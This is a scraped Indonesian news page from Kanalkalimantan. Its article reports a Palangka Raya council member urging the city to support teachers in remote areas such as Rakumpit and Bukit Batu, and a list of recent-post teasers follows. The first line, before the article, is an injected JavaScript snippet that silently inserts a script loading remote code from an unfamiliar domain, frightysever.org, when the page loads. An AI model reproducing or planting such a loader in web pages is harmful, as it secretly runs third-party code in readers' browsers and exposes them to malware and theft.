(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Komisi I DPRD Palangka Raya Minta Pendidikan Wilayah Terpencil Diperhatikan


KANALKALIMANTAN.COM, PALANGKA RAYA – Anggota Komisi I DPRD Kota Palangka Raya, Bennie Brian Tonni Embang, menekankan pentingnya perhatian pemerintah kota terhadap sektor pendidikan, khususnya di daerah terpencil seperti Rakumpit.

Ia mengungkapkan bahwa akses menuju wilayah tersebut sangat sulit, yang berdampak pada proses pendidikan di sana.

Menurutnya, kesejahteraan guru dan tenaga pengajar di wilayah ini juga perlu menjadi fokus perhatian pemerintah kota.

“Pemerintah kota seharusnya memberikan dukungan tambahan berupa biaya ekstra bagi para guru di wilayah terpencil. Banyak tenaga pengajar di Rakumpit dan sekitarnya berasal dari Kota Palangka Raya. Dengan memberikan dukungan lebih, beban para guru dapat berkurang, dan mereka bisa lebih fokus dalam menjalankan tugasnya,” ucapnya kepada awak media, Rabu (23/10/2024).

Baca juga: Bertemu 5 Komisioner, Ketua HMI Mendadak Jadi ‘Jubir’ KPU Banjarbaru Soal Aturan

Bennie juga menyerukan agar pemerintah kota lebih memperhatikan pemerataan tenaga pengajar di wilayah terpencil seperti Rakumpit dan Bukit Batu.
Saat ini, ia menilai bahwa sebagian besar guru terpusat di wilayah perkotaan, sementara daerah pelosok mengalami kekurangan tenaga pengajar yang memadai.

Menurutnya, hal ini perlu segera diatasi agar kualitas pendidikan di daerah terpencil dapat setara dengan di kota.

“Pendataan harus segera dilakukan oleh pemerintah kota untuk mengetahui kebutuhan tenaga pengajar di wilayah terpencil. Dengan begitu, pemerintah bisa merencanakan pemerataan tenaga pengajar dengan lebih baik. Salah satu solusi yang dapat dilakukan adalah memberikan peluang khusus bagi masyarakat setempat untuk berkarier di bidang pendidikan,” jelasnya.

Bennie menegaskan bahwa langkah-langkah ini tidak hanya akan membantu memperbaiki kualitas pendidikan di wilayah terpencil, tetapi juga memberikan dampak positif bagi masyarakat setempat.

“Dengan melibatkan masyarakat setempat, kita bisa menciptakan tenaga pengajar yang memahami kondisi dan kebutuhan wilayah mereka,” tutupnya. (Kanalkalimantan.com/rls)

Reporter: rls
Editor: cell

 


Risa

Recent Posts

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

3 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

20 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

23 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

24 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

1 hari ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

1 hari ago